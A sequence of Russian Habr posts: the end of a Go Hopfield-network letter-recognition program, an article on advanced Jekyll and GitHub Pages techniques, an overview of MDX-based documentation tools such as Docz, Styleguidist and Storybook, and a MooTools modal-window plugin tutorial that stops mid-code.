v[vectorIteration] = -1
}
vectorIteration ++
}
}
return v
}
func main() {
fmt.Println("Memory size ~ ", int(400/(2*math.Log2(400))), " objects")
fmt.Println("1 - А")
fmt.Println("2 - Б")
fmt.Println("3 - О")
fmt.Println("-----Start------")
vectorArrays := [3][]float64{}
x1 := getVectorFromImage("Images/А.jpg")
x2 := getVectorFromImage("Images/Б.jpg")
x3 := getVectorFromImage("Images/О.jpg")
y := getVectorFromImage("Images/Income.jpg")
vectorArrays[0] = x1
vectorArrays[1] = x2
vectorArrays[2] = x3
matrixArray := [len(vectorArrays)]matrix.Matrix{}
for i, vInArray := range vectorArrays {
matrixArray[i] = vectorToMatrix(vInArray, vInArray)
}
W := matrix.Matrix{}
for i, matrixInArray := range matrixArray {
if i == 0 {
W = matrixInArray
continue
}
W, _ = W.Add(matrixInArray)
}
for i := 0; i < W.Rows(); i++ {
W.SetAt(i, i, 0)
}
S := make([]float64, 400)
for II := 0; II < 100; II++ {
if II == 0 {
S, _ = W.VectorMultiply(y)
for i, element := range S {
S[i] = sigmod(element)
}
continue
} else {
S, _ = W.VectorMultiply(S)
for i, element := range S {
S[i] = sigmod(element)
}
}
}
ar := [3]int{1, 1, 1}
for vectorI, v := range vectorArrays {
for i, elem := range v {
if elem != S[i] {
ar[vectorI] = 0
break
}
}
}
for i, el := range ar {
if el == 1 {
fmt.Println("Looks like", i+1)
}
}
img := image.NewRGBA(image.Rect(0, 0, 20, 20))
xx := 0
yy := 0
for i := 0; i < 400; i++ {
if i%20 == 0 {
yy++
xx = 0
} else {
xx++
}
if S[i] == -1 {
img.Set(xx, yy, color.RGBA{0, 0, 0, 255})
} else {
img.Set(xx, yy, color.RGBA{255, 255, 255, 255})
}
}
f, _ := os.OpenFile("Images/out.png", os.O_WRONLY|os.O_CREATE, 0600)
png.Encode(f, img)
f.Close()
var str string
fmt.Scanln(&str)
}
``` | https://habr.com/ru/post/417063/ | null | ru | null |
# Продвинутый Jekyll
[Jekyll](https://jekyllrb.com) — генератор статических сайтов. Это означает, что на вход ему даётся какая-либо информация, а на выходе получается набор HTML-страничек. Всё отлично когда сайт простой или даже одностраничный. Но что насчёт более сложных сайтов? Справится ли Jekyll? Будет ли удобно?
Данная публикация — попытка обобщить знания, полученные при создании нескольких веб-сайтов. Поэтому оставляю ссылки и на рабочие примеры, и на их полные исходники на GitHub. Уровень материала идёт от простого к сложному.
На хабре уже было несколько публикаций по Jekyll: [Практическое руководство по Jekyll](https://habrahabr.ru/post/207650/), [Блог на Jekyll и Github](https://habrahabr.ru/post/133261/), [Jekyll 2 надвигается на Github!](https://habrahabr.ru/post/228337/). Однако все они описывают в основном базовые возможности Jekyll. Кроме того, на GitHub Pages уже используется Jekyll 3, что привнесло новых плюшек. Итак, начнём!
### Статический HTML
Сервис [Github Pages](https://pages.github.com/) использует Jekyll как генератор сайтов. Может ли GitHub Pages использован самостоятельно, без Jekyll? Да! Можно использовать GitHub Pages как простой HTML-хостинг (бесплатно!). Особенно, если сайт уже был где-то сгенерирован.
[](https://winternovel.dexp.in)
Например, [Веб-демо Winter Novel](https://winternovel.dexp.in) было сгенерировано в С-приложении. Это просто пачка простых HTML-страниц, расположенных на GitHub Pages. Исходники [здесь](https://github.com/DeXP/WinterNovel-demo).
### Пользовательские домены
Как было видно выше, существует возможность использовать своё доменное имя вместо *\*.github.io*. И сделать это достаточно просто: нужно создать файл [CNAME](https://github.com/DeXP/WinterNovel-demo/blob/gh-pages/CNAME) с единственной строкой — доменом:
```
winternovel.dexp.in
```
После коммита установленный домен так же можно видеть в настройках репозитория:
Можно использовать домены любого уровня, а не только третьего. Например, [dexp.in](https://dexp.in) тоже хостится на GitHub'e.
### CloudFlare
Другой отличный бесплатный сервис — [CloudFlare](https://www.cloudflare.com). Ведь в любом случае нужен менеджер DNS для домена. А CloudFlare предоставляет не только инструменты для управления DNS, но и CDN-сервис. Это значит, что CloudFlare может кэшировать страницы и отображать их даже если GitHub Pages будет недоступен.
Главный домен напрямую по IP привязан к GitHub. Субдомены реализованы через cname-альясы на *dexp.github.io*.
### Markdown
Jekyll поддерживает и HTML и Markdown. HTML даёт больше возможностей, но не слишком удобен для написания человеком. Markdown — очень крутая штука для написания текстов.
Пример куска текста [на HTML](https://github.com/DeXP/onemangaday/blob/gh-pages/tutorials/_posts/2014-12-25-making-site-in-comipo.html):
```
Creating a website in Manga Maker Comipo is almost like creating it in Photoshop. That means the program is only responsible for creating the image of the future design. Everything else must be done in other programs and requires skills and knowledge of HTML and CSS.
Let's see an example shown below:
You can see "Layer List" panel. It already has a stack of layers. You just need to implement this stack in HTML! The most convenient way is exporting each layer as a separate image. Export can be accessed from the menu "File - Export Image File". Also you can press F2. Export options:
```
Как минимум, нужно добавлять и и
… И пример куска текста [на Markdown](https://raw.githubusercontent.com/DeXP/onemangaday/gh-pages/tutorials/_posts/2015-03-28-simple-game-in-renpy.md):
```
Visual novels creating is not such a difficult thing, as it might seem. And RenPy engine will help us: [http://renpy.org](http://renpy.org){:target="_blank"}. On the one hand, the engine is simple and understandable even for beginners. On the other hand, the engine is quite powerful and allows you to create really cool games. You need to download engine and install it. Nothing complicated in this process is not present, the default settings are good. Here is the RenPy main window:
{:.imgshad}
There is a list of projects on left. And active project options on the right (the active project is highlighted with blue in projects list ). To create your game you need to click "Add New Project" under the list of projects. Further, the engine will ask a few simple questions. Remember the name of the game should be in English (do not use international/unicode symbols).
```
Markdown-код выглядит намного лучше. Просто попробуйте, не пожалеете.
### SASS / SCSS
Sass — это язык поверх CSS. Добавлено много хорошей функциональности: переменные, блоки кода, вложенные правила, include и т.д. Пример SCSS кода с примесями и переменными:
```
@mixin border-radius($radius,$border,$color) {
-webkit-border-radius: $radius;
-moz-border-radius: $radius;
-ms-border-radius: $radius;
border-radius: $radius;
border:$border solid $color
}
.box { @include border-radius(10px,1px,red); }
```
Код будет транслирован в:
```
.box {
-webkit-border-radius: 10px;
-moz-border-radius: 10px;
-ms-border-radius: 10px;
border-radius: 10px;
border: 1px solid red;
}
```
Полезные ссылки: [Sass Basics](http://sass-lang.com/guide), [Sass Tutorial](https://www.tutorialspoint.com/sass/)
### Разметка
Ok, чистый HTML это уже хорошо. Но может в Jekyll есть что-то типа *include*? Тогда можно будет построить свои страницы в стиле:
```
include header.html
{ моё содержимое }
include footer.html
```
Да, в Jekyll есть *include*. Но лучше использовать эту директиву для других целей. Для внешнего вида же лучше использовать шаблоны: *Layout*.
Пускай исходный код страницы выглядит следующим образом:
```
---
layout: default
---
{ моё содержимое }
```
И файл *\_layouts/default.html*:
```
...
{{ content }}
...
```
Страница генерирует какой-то код и сохраняет его в переменную *content*. Jekyll из заголовка видит, что следующим обрабатываемым файлом будет *\_layouts/default.html*. Далее нужно просто вывести содержимое этой переменной в любом месте кода.
Конечно, в реальности код получается более сложным. Например, [главная страница](https://github.com/DeXP/onemangaday/blob/gh-pages/index.html) *One Manga Day* и [layout для неё](https://github.com/DeXP/onemangaday/blob/gh-pages/_layouts/default.html).
### Переменные
Мы уже затронули тему переменных. Рассмотрим более подробно заголовок [главной страницы](https://github.com/DeXP/onemangaday/blob/gh-pages/index.html) *One Manga Day*:
```
---
layout: default
curlang: en
title: Home page
addcss: badges
---
```
Переменная *layout* говорит Jekyll, какой следующий файл будет обрабатываться. Остальные переменные используются в коде [layout](https://github.com/DeXP/onemangaday/blob/gh-pages/_layouts/default.html) и созданы для удобства:
```
{{ site.name }} | {{ page.title }}
```
Переменная *page.title* установлена в заголовке страницы, *site.name* — в [\_config.yml](https://github.com/DeXP/onemangaday/blob/gh-pages/_config.yml). Результатом выполнения этой строки в моём случае будет: `One Manga Day | Home page`
### Коллекции
Предыдущие возможности Jekyll были не очень продвинутыми, даже скорее базовыми. Но коллекции позволяют делать по-настоящему мощные вещи. Например, галереи. И как частный пример — [страница с мангой](https://onemangaday.dexp.in/manga.html).
Небольшая вырезка из [\_data/galleries.yml](https://github.com/DeXP/onemangaday/blob/gh-pages/_data/galleries.yml):
```
- id: screenshots
description: One Manga Day screenshots
imagefolder: pic/scr
images:
- name: OMD-s0001.png
thumb: thumb-1.jpg
text: Main menu
- name: OMD-s0002.png
thumb: thumb-2.jpg
text: Instructor
```
В этом коде создаётся коллекция *site.data.galleries*. Первый знак минуса обозначает создание элемента коллекции. *images* — субколлекция, каждый элемент который имеет поля *name*, *thumb* и *text*.
И пример, как работать с данной коллекцией, [\_includes/mangascript.html](https://github.com/DeXP/onemangaday/blob/gh-pages/_includes/mangascript.html):
```
var imageGallery = [
{% assign gallery = site.data.galleries | where:"id",page.gId | first %}
{% for image in gallery.images %}
"{{ page.linkadd }}{{ gallery.imagefolder }}/{{ image.name }}",
{% endfor %}
];
...
```
Изначально коллекция *site.data.galleries* фильтруется по полю *id* (значение должно быть равно *page.gId*). Результатом фильтра *where* может быть несколько значений, поэтому берётся только первое (это позволительно, т.к. *id* коллекции в данном случае подразумевается уникальным). Результат сохраняется в переменную *gallery*.
Далее просто проходим всю галерею в цикле `for`.
Результат исполнения будет примерно таким:
```
var imageGallery = [
"pic/manga/OneMangaDay_000_001.png",
"pic/manga/OneMangaDay_000_002.png",
...
"pic/manga/OneMangaDay_999.png"
];
```
Полезные ссылки: [Jekyll (Liquid) reference](https://help.shopify.com/themes/liquid), ["Advanced Liquid: Where"](https://www.siteleaf.com/blog/advanced-liquid-where/).
### Галереи, выстроенные в страницу
Ещё одно хорошая возможность для галерей — встраивание их коллекций прямо в код страницы. Например, [страница игры](https://raw.githubusercontent.com/DeXP/dexp.github.io/master/_posts/games/2014-06-30-onemangaday.md):
```
---
layout: page
title: "One Manga Day"
gallery:
- image_url: omd/OMD-s0001.jpg
- image_url: omd/OMD-s0002.jpg
- image_url: omd/OMD-s0003.jpg
...
buttons:
- caption: "Website"
url: "http://onemangaday.dexp.in/"
class: "warning"
- caption: "Steam"
url: "http://store.steampowered.com/app/365070/"
class: "info"
...
---
Manga are...
{% include gallery %}
...
{% include buttons %}
```
В эту страницу встроены сразу две коллекции: *gallery* и *buttons*. Переменные *page.gallery* и *page.buttons* используются в [\_includes/gallery](https://github.com/DeXP/dexp.github.io/blob/master/_includes/gallery) и [\_includes/buttons](https://github.com/DeXP/dexp.github.io/blob/master/_includes/buttons) соответственно.
[](https://dexp.in/articles/advanced-jekyll/#inpage-galleries)
Этот метод хорошо подходит, если нужно отобразить какую-то информацию, специфичную только для данной страницы. Если же коллекции используются во всём сайте (контакты/меню и т.п.), то лучше пользоваться предыдущим методом и хранить коллекции в каталоге *\_data*.
### Наборы фильтров
Мы уже затронули тему фильтров. Теперь можно взять и более продвинутую задачу. Я хочу увидеть все мои "Linux" посты, сгруппированные по году, только за 3 года.
```
{% assign cp = site.tags.linux | sort | reverse %}
{% assign byYear = cp | group_by_exp:"post", "post.date | date: '%Y'" %}
{% for yearItem in byYear limit:3 %}
#### {{ yearItem.name }}
{% for post in yearItem.items %}
* [{{ post.title }}]({{ post.url }})
{% endfor %}
{% endfor %}
```
Сначала нужно взять все посты по тэгу "Linux": *site.tags.linux*. Следующая строка группирует по дате. Можно выбрать любое поле или формат для группировки. Ну и последнее условие выполняется через *limit* у цикла `for`. Вывод:
Реально это используется у меня в [фотоальбоме](https://dexp.in/photo/) ([исходник](https://raw.githubusercontent.com/DeXP/dexp.github.io/master/pages/photo.md)).
### Запись переменных
Пускай нужно не выводить сразу переменную `{{ content }}`, а как-либо её модифицировать, а только потом вывести.
Обычное присвоение:
```
{% assign someString = "value" %}
```
Не работает, т.к. нужны не сырые (raw) строки, а предобработанные с помощью Jekyll.
Решением является директива *capture*. И для примера будет рассмотрен [хак для обхода бага](https://github.com/penibelst/jekyll-compress-html/issues/71#issuecomment-188144901) в compress.html. Пускай изначальный код выглядит следующим образом:
```
{% highlight AnyLanguage linenos %}
Some code
{% endhighlight %}
```
Изменим его для использования *capture*:
```
{% capture _code %}{% highlight AnyLanguage linenos %}
Some code
{% endhighlight %}{% endcapture %}{% include fixlinenos.html %}
{{ _code }}
```
Теперь весь подсвеченный код находится в переменной *\_code*. Далее происходит его обработка в *\_include/fixlinenos.html*:
```
{% if _code contains '
```lineno
' %}
{% assign _code = _code | replace: "", "
```
" %}
{% endif %}
```
Код проверяет на вхождение подстроки . Если такая найдена, то у нас в наличии бажный HTML-код, неправильные куски которого просто заменяются на правильные.
Полезная ссылка: [Jekyll (Liquid) string filters](https://help.shopify.com/themes/liquid/filters/string-filters)
### Сжатие кода
Можно ужать весь SASS-код всего одной строкой в [\_config.yml](https://github.com/DeXP/dexp.github.io/blob/master/_config.yml):
```
sass:
style: :compressed
```
Если нужно ужать SASS-код на лету, то можно воспользоваться фильтром *scssify* (стиль сжатия из конфига будет применён и для фильтра):
```
{{ some_scss | scssify }}
```
В Jekyll не предусмотрено стандартных методов для сжатия HTML. Можно воспользоваться сторонним решением — [compress.html](https://github.com/penibelst/jekyll-compress-html). Нужно добавить всего одну строку в свой [*layout* верхнего уровня](https://github.com/DeXP/onemangaday/blob/gh-pages/_layouts/default.html):
```
---
layout: compress
---
```
Компрессия будет происходить уже после всей генерации кода. В конечном счёте HTML-код страницы будет выглядеть примерно так:
### Своя подсветка синтаксиса
Пускай нужно подсветить синтаксис какого-нибудь экзотического языка программирования, о котором не знает Jekyll. Это можно сделать программно.
Я сделал [customhighlight.html](https://github.com/DeXP/onemangaday/blob/gh-pages/_includes/customhighlight.html) для подсветки RenPy кода (базируется на Python). Идея проста и тоже базируется на фильтре *replace*:
```
{% assign _customtag = "image side hide play show scene" | split: " " %}
{% for _element in _customtag %}
{% capture _from %}{{ \_element }}{% endcapture %}
{% capture \_to %}{{ \_element }}{% endcapture %}
{% assign \_code = \_code | replace: \_from, \_to %}
{% endfor %}
```
Здесь формируется массив тэгов, потом поиск-замена для каждого элемента в строке кода. Единственная новая вещь — это разделение строки в массив. Пример подсвеченного кода:
Пример использования [здесь](https://raw.githubusercontent.com/DeXP/onemangaday/gh-pages/tutorials/_posts/2015-03-28-simple-game-in-renpy.md). Также подсветка встроена в код [оригинальной статьи на английском](https://raw.githubusercontent.com/DeXP/dexp.github.io/master/_posts/articles/2017-08-08-advanced-jekyll.md).
### Облако тэгов
Облако тэгов — ещё более сложная задача. Во-первых, для каждого тэга вручную должна быть создана своя страница. Во-вторых, нужно сделать массив валидных тэгов с их человеко-читаемыми именами. В-третьих, скрипт должен подсчитать количество статей для каждого тэга.
[](http://onemangaday.dexp.in/tutorials/)
Основные вычисления происходят в файле [\_includes/tagcloud.html](https://github.com/DeXP/onemangaday/blob/gh-pages/_includes/tagcloud.html):
```
* [All](index.html)
{% for tag in site.tags %}
{% assign curTag = tag | first | slugize %}
{% assign langtag = landat.tags | where:"slug",curTag | first %}
* [{{ langtag.name }}]({{ curTag }}.html)
{% endfor %}
```
Переменная *site.tags* хранит все использованные тэги из всех статей. Переменная *langtag* — это текущий тэг в человеческом формате, описанный в [\_data/lang.yml](https://github.com/DeXP/onemangaday/blob/gh-pages/_data/lang.yml).
На каждой итерации будет переменная *tag*, взятая из коллекции *site.tags*. Переменная *tag* содержит список всех статей с данным тэгом. Так что можно просто взять размер, умножить, поделить и пр. Самый маленький тэг был слишком маленьким для меня, так что я добавил ещё 20%.
Полезная ссылка: [Jekyll (Liquid) array filters](https://help.shopify.com/themes/liquid/filters/array-filters)
### Мультиязычные сайты
Jekyll сам по себе не поддерживает интернационализацию. Так что придётся и это реализовывать самостоятельно. Самый простой метод — просто изолировать материалы по категории (например, [материалы на русском](https://dexp.in/russian/)).
Также можно использовать поддомен для каждого языка. Но в таком случае для 2 языков будет существовать ровно 2 сайта. И 10 сайтов для 10 языков, что не всегда удобно.
На сайте [One Manga Day](https://onemangaday.dexp.in) для каждого языка выделена своя папка. Идея проста. Например, существует английская страница `cat/page.html`. Если у этой страницы есть русский вариант, то URL у неё будет `ru/cat/page.html`. Если страниц немного, то можно все их создавать вручную. Но если страниц много, то необходимо проверять наличие страницы на том или ином языке. Однако в Jekyll вообще не существует файловых функций в целях безопасности серверов GitHub.
Для проверки существования файлов можно воспользоваться моим [\_includes/CHECKEXISTS.html](https://github.com/DeXP/onemangaday/blob/gh-pages/_includes/CHECKEXISTS.html). Там просто пробегаются все страницы и посты сайты:
```
{% assign curUrlExists = false %}
{% assign curFUrl = curUrl | remove: ".html" %}
{% for curFile in site.pages %}
{% assign cFile = curFile.url | remove: ".html" %}
{% if cFile == curFUrl %}
{% assign curUrlExists = true %}
{% endif %}
{% endfor %}
{% for curFile in site.posts %}
{% assign cFile = curFile.url | remove: ".html" %}
{% if cFile == curFUrl %}
{% assign curUrlExists = true %}
{% endif %}
{% endfor %}
```
Если файл на языке существует, то можно добавлять ссылку на него на своей странице.
### Система комментариев
Первое приходящее на ум решение — [Disqus](https://disqus.com/) или подобная система комментариев на базе AJAX. В страницу просто встраивается небольшой JS-код и всё работает хорошо.
[](https://onemangaday.dexp.in/feedback.html)
Но лично мне гораздо больше понравился [Staticman](https://staticman.net) — система комментариев, основанная на пулл-реквестах в репозиторий сайта. Таким образом комментарии также являются Jekyll-коллекцией!
Код для отображения [комментариев к странице](https://github.com/DeXP/dexp.github.io/blob/master/_includes/_comments.html):
```
{% capture post_slug %}{{ page.url | slugify }}{% endcapture %}
{% if site.data.comments[post_slug] %}
{% assign comments = site.data.comments[post_slug] | sort %}
{% for comment in comments %}
{% assign email = comment[1].email %}
{% assign name = comment[1].name %}
{% assign url = comment[1].url %}
{% assign date = comment[1].date %}
{% assign message = comment[1].message %}
{% include _post-comment.html index=forloop.index
email=email name=name url=url date=date message=message %}
{% endfor %}
{% endif %}
```
[Форма отправки комментария](https://github.com/DeXP/dexp.github.io/blob/master/_includes/_post-new-comment.html) также достаточно проста:
Модерирование комментариев реализовано через подтверждение пулл-реквеста. Также можно просто попросить Staticman класть комментарии напрямую, минуя подтверждение реквеста. После принятия реквеста весь сайт будет перегенерирован и комментарий появится на сайте.
### Заключение
Jekyll — очень крутая штука для маленьких сайтов и блогов. Просто попробуйте, вы его полюбите!
### Полезные ссылки
* [GitHub Pages](https://pages.github.com/)
* [Jekyll Themes](http://jekyllthemes.org/)
* [Liquid reference](https://help.shopify.com/themes/liquid)
* [Эта публикация на английском](https://dexp.in/articles/advanced-jekyll/)
* [Подкаст, в котором обсуждали эту статью](http://it-cast.nesterione.com/) | https://habr.com/ru/post/336266/ | null | ru | null |
# Живые гайдлайны — MDX и другие фреймворки
У вас может быть лучший проект с открытым исходным кодом, но если у него нету хорошей документации, есть вероятность, что он никогда не взлетит. В офисе хорошая документация позволит вам не отвечать на одни и те же вопросы. Документация также гарантирует, что люди могут разобраться в проекте, если компанию покинут ключевые сотрудники или поменяются роли. Живые гайдлайны помогут обеспечить целостность данных.
Если вам нужно написать длинный текст, Markdown — отличная альтернатива HTML. Иногда синтаксиса Markdown не достаточно. В этом случае мы можем использовать HTML внутри него. Например, кастомные элементы. Поэтому если вы строите дизайн-систему с нативными веб компонентами, их легко включить в текстовую документацию. Если вы используете React (или любой другой JSX фреймворк, например Preact или Vue), вы можете делать тоже самое с помощью MDX.
Это статья — широкий обзор инструментов для написания документации и создания гайдлайна. Не все инструменты, перечисленные здесь, используют MDX, но он все чаще включается в инструменты документирования.
Что такое MDX?
--------------
Файл `.mdx` имеет тот же синтаксис что и Markdown, но позволяет импортировать интерактивные компоненты JSX и встраивать их в ваш контент. Поддержка компонентов Vue находиться в альфе. Для того, чтобы начать работать с MDX, достаточно установить "Create React App". Есть плагины для Next.js и Gatsby. Следующая версия Docusaurus (версия 2) также будет иметь встроенную поддержку.
Написание документации с Docusaurus
-----------------------------------
Docusaurus написали в Facebook. Они его используют на каждом проекте с открытым исходным кодом, кроме React. За пределами компании его использует Redux, Prettier, Gulp и Babel.
*Проекты, которые используют Docusaurus.*
Docusaurus можно использовать для написания *любой* документации, не только для описания фронтенда. У него под капотом React, но для того, что бы его использовать, не обязательно быть с ним знакомым. Он берет ваши Markdown файлы, щепотка магии и хорошо структурированная, отформатированная и читаемая документация с красивым дизайном готова.
*На сайте Redux можно посмотреть стандарный шаблон Docusaurus*
Сайты, созданные с помощью Docusaurus, также могут включать в себя блог на основе Markdown. Для подсветки синтаксиса сразу подключен Prism.js. Несмотря на то, что что Docusaurus появился сравнительно недавно, его признали лучшим инструментом 2018 года на StackShare.
Другие варианты создания контента
---------------------------------
Docusaurus специально разработан для создания документации. Конечно, есть миллион и один способ сделать сайт — вы можете развернуть свое собственное решение на любом языке, CMS или воспользоваться генератором статического сайта.
Например, документация для React, дизайн система IBM, Apollo и Ghost CMS используют Gatsby — это генератор статических сайтов, который часто используют для блогов. Если вы работаете с Vue, то VuePress для вас станет хорошим вариантом. Другой вариант — использовать генератор, написанный на Python — MkDocs. Он открытый и конфигурируется с помощью одного файла YAML. GitBook также неплохой вариант, но он бесплатный только для открытых и некоммерческих команд. А еще можно просто заливать mardown файлы, используя гит, и работать с ними в Github.
Документирование компонентов: Docz, Storybook и Styleguidist
------------------------------------------------------------
Гайдлайны, дизайн системы, библиотеки компонентов — как бы вы их ни называли, но это стало очень популярным в последнее время. Появление компонентных фреймворков, таких, как React и инструментов, упомянутых здесь — позволило превратить их из тщеславных проектов в полезные инструменты.
Storybook, Docz и Styleguidist — делают одно и тоже: отображают интерактивные элементы и документируют их API. Проект может иметь десятки или даже сотни компонентов — все с различными состояниями и стилями. Если вы хотите, чтобы компоненты использовались повторно, люди должны знать, что они существуют. Для этого достаточно каталогизировать компоненты. Гайдлайны предоставляют удобный для поиска обзор всех ваших компонентов. Это помогает поддерживать визуальную согласованность и избегать повторной работы.
Эти инструменты предоставляют удобный способ просмотра различных состояний. Может быть трудно воспроизвести каждое состояние компонента в контексте реального приложения. Вместо того, чтобы щелкать по реальному приложению, стоит разработать отдельный компонент. Можно смоделировать труднодоступные состояния (например, состояние загрузки).
Наряду с визуальной демонстрацией различных состояний и списком свойств часто необходимо писать общее описание контента — обоснования дизайна, кейсы использования или описание результатов пользовательского тестирования. Markdown очень прост для изучения — в идеале гайдлайны должен быть совместным ресурсом для дизайнеров и разработчиков. Docz, Styleguidist и Storybook предлагают способ легкого смешивания Markdown с компонентами.
Docz
----
Сейчас Docz работает только с React, но идет активная работа над поддержкой Preact, Vue и веб компонентов. Docz самый свежий из трех инструментов, но на Github он смог собрать более 14 000 звезд. Docz представляет два компонента — и `< Props >`. Они импортируются и используются в файлах `.mdx`.
```
import { Playground, Props } from "docz";
import Button from "../src/Button";
## You can _write_ **markdown**
### You can import and use components
click
```
Вы можете обернуть свои собственные компоненты React с помощью , чтобы создать аналог встроенного CodePen или CodeSandbox — то есть вы видите ваш компонент и можете его редактировать.
```
click
```
покажет все доступные свойства для данного компонента React, значения по умолчанию и то, требуется ли свойство.
Лично я считаю этот подход на основе MDX самым простым для понимания и самым простым для работы.
Если вы фанат генератора статических сайтов Gatsby, Docz предлагает отличную интеграцию.
Styleguidist
------------
Как и в Docz, примеры пишутся, используя синтаксис Markdown. Styleguidist использует блоки кода Markdown (тройные кавычки) в обычных файлах `.md` файлах, а не в MDX.
```
```js
console.log('clicked')>Push Me
```
Блоки кода в Markdown обычно просто показывают код. При использовании Styleguidist любой блок кода с тегом языка `js`, `jsx` или `javascript` будет отображаться как компонент React. Как и в Docz, код редактируемый — вы можете менять свойства и мгновенно видеть результат.
Styleguidist автоматически создаст таблицу свойств из PropTypes, Flow или Typescript объявлений.
Styleguidist сейчас поддердживает React и Vue.
Storybook
---------
Storybook позиционирует себя как «среда разработки UI компонентов». Вместо того, чтобы писать примеры компонентов внутри файлов Markdown или MDX, вы пишете *истории* внутри файлов Javascript. *История* документируют конкретное состояние компонента. Например, у компонента могут быть истории для состояния загрузки и отключенного состояния (*disabled*).
```
storiesOf('Button', module)
.add('disabled', () => (
lorem ipsum
))
```
Storybook гораздо сложнее чем Styleguidist и Docz. Но при этом это самый популярный вариант, на Github у проекта более 36 000 звезд. Это проект с открытым исходным кодом, в нем участвует 657 участников и сопровождают штатные сотрудники. Его использует Airbnb, Algolia, Atlassian, Lyft и Salesforce. Storybook поддерживает больше фреймворков, чем конкуренты — React, React Native, Vue, Angular, Mithril, Ember, Riot, Svelte и обычный HTML.
В будущем релизе будут фишки из Docz и внедряется MDX.
```
# Button
Some _notes_ about your button written with **markdown syntax**.
lorem ipsum
```
Новые функции Storybook’а появятся постепенно в течение следующих нескольких месяцев и, по-видимому, это станет большим шагом вперед.
Итоги
-----
Преимущества библиотеки паттернов превозносятся в миллионах статей на Medium. Когда все сделано хорошо, они облегчают создание смежных продуктов и поддержание идентичности. Конечно, ни один из этих инструментов не поможет волшебным образом создать дизайн систему. Это требует тщательного проектирования дизайна и CSS. Но когда приходит время сделать доступным дизайн систему для всей компании, Docz, Storybook и Styleguidist — отличные варианты.
*От переводчика. Это мой первый опыт на Хабре. Если вы нашли какие-то не точности, или есть предложения по улучшению статьи — пишите в личку.* | https://habr.com/ru/post/454084/ | null | ru | null |
# Пишем свой MooTools-плагин.
Доброго времени суток.
Это мой первый серьезный пост на Хабре, так что критика приветствуется.
Сегодня я расскажу о написании плагина для JavaScript-библиотеки MooTools на примере модального всплывающего окна.
#### HTML, CSS.
Что же из себя будет представлять наше модальное окно? Схематично его можно представить следующим образом.
С точки зрения HTML, всплывающее окно — это обычный блочный элемент (например, div) и еще один блочный элемент для создания полупрозрачного оверлея. Функциональный HTML-код будет содержать всего две строки:
`> <div id="Overlay">div>
>
> <div id=«Popup»>Сообщение в окне.div>
>
>`
CSS-код будет выглядеть так:
`> body
>
> {
>
> font-family: Arial, Tahoma, Sans-Serif;
>
> font-size: 1em;
>
> }
>
>
>
> #Popup
>
> {
>
> visibility: hidden;
>
> position: absolute;
>
> left: 50%;
>
> top: 50%;
>
> background-color: #FFF;
>
> padding: 10px;
>
> }
>
>
>
> #Overlay
>
> {
>
> visibility: hidden;
>
> position: absolute;
>
> left: 0;
>
> top: 0;
>
> width: 100%;
>
> background-color: #000;
>
> }`
С помощью visibility: hidden мы намеренно прячем всплывающее окно и оверлей, чтобы их не было видно сразу после загрузки страницы. Внимательный читатель мог заметить, что у оверлея в данный момент нулевая высота и всплывающее окно находится не в центре страницы (т.к. в центре страницы размещен левый верхний угол окна). Все это мы исправим в JavaScript.
#### JavaScript.
Теперь займемся JavaScript-кодом.
Пожалуй, полностью описывать синтаксис классов в MooTools я не буду, [тут](http://www.mootorial.com/wiki/mootorial/02-class) дается довольно полное описание. Давайте только взглянем на каркас класса, который возьмем для написания плагина, чтобы быстро разобраться, что тут к чему:
`> var MoodalBox = new Class({
>
> // Здесь мы указываем классы, из которых в наш класс будут скопированы свойства и методы.
>
> // В данном случае нам нужен метод setOptions() из класса Options.
>
> Implements: [Options],
>
>
>
> // Перечисляем возможные опции, передаваемые экземпляру класса и их значения по умолчанию.
>
> options: {
>
> optionName1: defaultValue1,
>
> optionName2: defaultValue2
>
> },
>
>
>
> // Это — конструктор нашего будущего класса.
>
> initialize: function(options)
>
> {
>
> // Выставляем значения опций, переданных в конструктор
>
> // (если туда ничего не передано, то берутся значения по умолчанию).
>
> this.setOptions(options);
>
>
>
> // Далее следует логика конструктора.
>
> }
>
> });`
Теперь усложним этот каркас тремя новыми методами: **show** (показать окно), **hide** (скрыть окно), **setPosition** (спозиционировать окно), также придумаем более осмысленные опции и добавим парочку аргументов в конструктор:
`> var MoodalBox = new Class({
>
> Implements: [Options],
>
>
>
> // Зададимся двумя опциями.
>
> options: {
>
> // Прозрачность оверлея после показа всплывающего окна.
>
> destinationOverlayOpacity: 0.7,
>
>
>
> // Возможность спрятать окно кликом по оверлею.
>
> allowManualClose: true
>
> },
>
>
>
> // В конструктор передаем два обязательных аргумента и необязательный аргумент с опциями.
>
> // element — идентификатор элемента окна.
>
> // overlay — идентификатор элемента оверлея.
>
> initialize: function(element, overlay, options)
>
> {
>
> this.setOptions(options);
>
>
>
> // Получаем элемент по его идентификатору.
>
> this.element = $(element);
>
> this.overlay = $(overlay);
>
>
>
> // Проверяем опцию возможности скрытия окна по клику.
>
> if (this.options.allowManualClose)
>
> // Цепляем на клик по оверлею метод скрытия.
>
> // Примечание: функция bind(param) возвращает метод this.hide, внутри которого переменная this
>
> // привязана к param. Если опустить вызов bind, тогда this внутри this.hide будет привязан к элементу,
>
> // событие в котором мы обрабатываем, т.е. к this.overlay.
>
> this.overlay.addEvent("click", this.hide.bind(this));
>
>
>
> // Получаем размеры окна для последующей его центровки.
>
> this.targetCoords = this.element.getCoordinates();
>
>
>
> // Эффекты для показывания/скрытия окна и оверлея.
>
> // Используется эффект, изменяющий заданное CSS-свойство во времени, в данном случае — это прозрачность.
>
> this.fx = {
>
> overlayAnimation: new Fx.Tween(this.overlay, { property: "opacity" }),
>
> elementAnimation: new Fx.Tween(this.element, { property: "opacity" })
>
> }
>
> },
>
>
>
> // Вызов этого метода покажет всплывающее окно.
>
> show: function()
>
> {
>
> // Выставляем элементы в нужные места.
>
> this.setPosition();
>
>
>
> // Запускаем анимацию показа (изменение прозрачности до видимых значений).
>
> this.fx.overlayAnimation.start(0, this.options.destinationOverlayOpacity);
>
> this.fx.elementAnimation.start(0, 1);
>
> },
>
>
>
> // Вызов этого метода скроет всплывающее окно.
>
> hide: function()
>
> {
>
> // Запускаем анимацию скрытия (изменение прозрачности до невидимых значений).
>
> this.fx.overlayAnimation.start(this.options.destinationOverlayOpacity, 0);
>
> this.fx.elementAnimation.start(1, 0);
>
> },
>
>
>
> // Здесь мы корректируем позицию всплывающего окна на странице и
>
> // размеры оверлея.
>
> setPosition: function()
>
> {
>
> this.element.setStyles({
>
> "marginLeft": -(this.targetCoords.width / 2),
>
> "marginTop": -(this.targetCoords.height / 2)
>
> });
>
>
>
> this.overlay.setStyles({
>
> "top": window.getScrollTop(),
>
